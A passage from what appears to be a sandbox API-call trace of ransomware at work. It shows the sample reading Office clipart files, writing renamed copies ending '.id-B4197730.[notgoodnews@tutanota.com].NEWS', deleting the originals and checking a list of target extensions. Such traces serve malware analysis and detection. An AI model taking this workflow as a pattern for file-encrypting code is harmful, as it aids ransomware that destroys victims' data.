lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x14ff, lpOverlapped=0x0) returned 1 [0074.842] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1500, lpOverlapped=0x0) returned 1 [0074.843] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.843] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.843] SetEndOfFile (hFile=0x308) returned 1 [0074.843] CloseHandle (hObject=0x308) returned 1 [0074.844] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.845] SetEndOfFile (hFile=0x31c) returned 1 [0074.846] CloseHandle (hObject=0x31c) returned 1 [0074.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0074.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.847] lstrlenW (lpString=".doc") returned 4 [0074.847] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.847] lstrlenW (lpString=".docx") returned 5 [0074.847] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.847] lstrlenW (lpString=".pdf") returned 4 [0074.847] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.847] lstrlenW (lpString=".xls") returned 4 [0074.847] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.847] lstrlenW (lpString=".xlsx") returned 5 [0074.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.847] lstrlenW (lpString=".ppt") returned 4 [0074.847] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.847] lstrlenW (lpString=".zip") returned 4 [0074.847] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.847] lstrlenW (lpString=".rar") returned 4 [0074.847] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.847] lstrlenW (lpString=".bz2") returned 4 [0074.847] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.847] lstrlenW (lpString=".7z") returned 3 [0074.847] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.847] lstrlenW (lpString=".dbf") returned 4 [0074.847] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.847] lstrlenW (lpString=".1cd") returned 4 [0074.848] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.848] lstrlenW (lpString=".jpg") returned 4 [0074.848] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.848] lstrlenW (lpString=".doc") returned 4 [0074.848] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.848] lstrlenW (lpString=".docx") returned 5 [0074.848] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.848] lstrlenW (lpString=".pdf") returned 4 [0074.848] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.848] lstrlenW (lpString=".xls") returned 4 [0074.848] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.848] lstrlenW (lpString=".xlsx") returned 5 [0074.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.848] lstrlenW (lpString=".ppt") returned 4 [0074.848] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.848] lstrlenW (lpString=".zip") returned 4 [0074.848] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.848] lstrlenW (lpString=".rar") returned 4 [0074.848] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.848] lstrlenW (lpString=".bz2") returned 4 [0074.848] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.848] lstrlenW (lpString=".7z") returned 3 [0074.848] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.849] lstrlenW (lpString=".dbf") returned 4 [0074.849] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.849] lstrlenW (lpString=".1cd") returned 4 [0074.849] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0074.849] lstrlenW (lpString=".jpg") returned 4 [0074.849] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.849] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.849] lstrlenW (lpString="AG00170_.GIF") returned 12 [0074.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.849] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=9248) returned 1 [0074.850] CloseHandle (hObject=0x31c) returned 1 [0074.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0074.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.850] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.850] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0074.850] GetLastError () returned 0x0 [0074.850] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2420, lpOverlapped=0x0) returned 1 [0074.853] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2430, lpOverlapped=0x0) returned 1 [0074.855] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.855] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.855] SetEndOfFile (hFile=0x308) returned 1 [0074.855] CloseHandle (hObject=0x308) returned 1 [0074.856] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.856] SetEndOfFile (hFile=0x31c) returned 1 [0074.857] CloseHandle (hObject=0x31c) returned 1 [0074.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0074.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.858] lstrlenW (lpString=".doc") returned 4 [0074.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.858] lstrlenW (lpString=".docx") returned 5 [0074.858] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.858] lstrlenW (lpString=".pdf") returned 4 [0074.858] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.858] lstrlenW (lpString=".xls") returned 4 [0074.858] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.858] lstrlenW (lpString=".xlsx") returned 5 [0074.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.859] lstrlenW (lpString=".ppt") returned 4 [0074.859] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.859] lstrlenW (lpString=".zip") returned 4 [0074.859] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.859] lstrlenW (lpString=".rar") returned 4 [0074.859] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.859] lstrlenW (lpString=".bz2") returned 4 [0074.859] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.859] lstrlenW (lpString=".7z") returned 3 [0074.859] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.859] lstrlenW (lpString=".dbf") returned 4 [0074.859] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.859] lstrlenW (lpString=".1cd") returned 4 [0074.859] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.859] lstrlenW (lpString=".jpg") returned 4 [0074.859] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.859] lstrlenW (lpString=".doc") returned 4 [0074.859] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.859] lstrlenW (lpString=".docx") returned 5 [0074.859] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.860] lstrlenW (lpString=".pdf") returned 4 [0074.860] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.860] lstrlenW (lpString=".xls") returned 4 [0074.860] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.860] lstrlenW (lpString=".xlsx") returned 5 [0074.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.860] lstrlenW (lpString=".ppt") returned 4 [0074.860] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.860] lstrlenW (lpString=".zip") returned 4 [0074.860] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.860] lstrlenW (lpString=".rar") returned 4 [0074.860] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.860] lstrlenW (lpString=".bz2") returned 4 [0074.860] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.860] lstrlenW (lpString=".7z") returned 3 [0074.860] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.860] lstrlenW (lpString=".dbf") returned 4 [0074.860] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.860] lstrlenW (lpString=".1cd") returned 4 [0074.860] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0074.860] lstrlenW (lpString=".jpg") returned 4 [0074.860] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.861] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.861] lstrlenW (lpString="AG00171_.GIF") returned 12 [0074.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.861] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5016) returned 1 [0074.861] CloseHandle (hObject=0x31c) returned 1 [0074.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0074.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.862] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.862] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0074.862] GetLastError () returned 0x0 [0074.862] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1398, lpOverlapped=0x0) returned 1 [0075.245] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13a0, lpOverlapped=0x0) returned 1 [0075.496] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.496] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.496] SetEndOfFile (hFile=0x308) returned 1 [0075.548] CloseHandle (hObject=0x308) returned 1 [0075.583] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.583] SetEndOfFile (hFile=0x31c) returned 1 [0075.889] CloseHandle (hObject=0x31c) returned 1 [0075.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0075.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.929] lstrlenW (lpString=".doc") returned 4 [0075.929] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.929] lstrlenW (lpString=".docx") returned 5 [0075.929] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.929] lstrlenW (lpString=".pdf") returned 4 [0075.929] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.929] lstrlenW (lpString=".xls") returned 4 [0075.929] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.929] lstrlenW (lpString=".xlsx") returned 5 [0075.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.929] lstrlenW (lpString=".ppt") returned 4 [0075.929] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.929] lstrlenW (lpString=".zip") returned 4 [0075.929] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.929] lstrlenW (lpString=".rar") returned 4 [0075.929] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.929] lstrlenW (lpString=".bz2") returned 4 [0075.929] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.929] lstrlenW (lpString=".7z") returned 3 [0075.929] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.929] lstrlenW (lpString=".dbf") returned 4 [0075.929] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.929] lstrlenW (lpString=".1cd") returned 4 [0075.929] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.929] lstrlenW (lpString=".jpg") returned 4 [0075.929] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.930] lstrlenW (lpString=".doc") returned 4 [0075.930] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.930] lstrlenW (lpString=".docx") returned 5 [0075.930] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.930] lstrlenW (lpString=".pdf") returned 4 [0075.930] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.930] lstrlenW (lpString=".xls") returned 4 [0075.930] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.930] lstrlenW (lpString=".xlsx") returned 5 [0075.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.930] lstrlenW (lpString=".ppt") returned 4 [0075.930] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.930] lstrlenW (lpString=".zip") returned 4 [0075.930] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.930] lstrlenW (lpString=".rar") returned 4 [0075.931] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.931] lstrlenW (lpString=".bz2") returned 4 [0075.931] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.931] lstrlenW (lpString=".7z") returned 3 [0075.931] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.931] lstrlenW (lpString=".dbf") returned 4 [0075.931] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.931] lstrlenW (lpString=".1cd") returned 4 [0075.931] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0075.931] lstrlenW (lpString=".jpg") returned 4 [0075.931] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.932] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.932] lstrlenW (lpString="AN01039_.WMF") returned 12 [0075.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.932] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3344) returned 1 [0075.932] CloseHandle (hObject=0x2c4) returned 1 [0075.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0075.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.933] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.933] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0075.933] GetLastError () returned 0x0 [0075.933] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xd10, lpOverlapped=0x0) returned 1 [0075.935] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: 